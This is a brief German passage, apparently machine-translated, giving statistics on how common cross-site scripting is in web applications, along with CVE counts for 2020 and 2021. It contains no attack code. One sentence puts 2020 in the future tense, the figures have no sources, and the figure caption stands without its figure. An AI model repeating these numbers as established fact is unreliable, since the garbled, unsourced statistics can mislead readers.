Cross-Site-Scripting ist bei weitem die häufigste Form der Sicherheitsanfälligkeit in Online-Anwendungen und taucht seit seiner Einführung in jeder Ausgabe der OWASP Top 10-Liste auf. Gleichzeitig wird es als weniger gefährlich als SQL-Injection oder Befehlsausführung angesehen. Selbst wenn der bösartige JavaScript-Code auf der Client-Seite ausgeführt wird und den Server nicht direkt betrifft, sind XSS-Schwachstellen dennoch schädlich.

Es wird geschätzt, dass mehr als 60% der Online-Anwendungen anfällig für XSS-Angriffe sind, die mehr als 30% aller Angriffe auf Webanwendungen ausmachen.

Bis jetzt wurden im Jahr 2021 16378 Sicherheitsanfälligkeiten (CVEs) aufgedeckt. Es wird 17039 im Jahr 2020 geben.

Die durchschnittliche Schwere beträgt 7,1 von 10, was ähnlich ist wie im Jahr 2020.

Abbildung 1. Anzahl der Web-Schwachstellen im Jahr 2020 nach Schwachstelle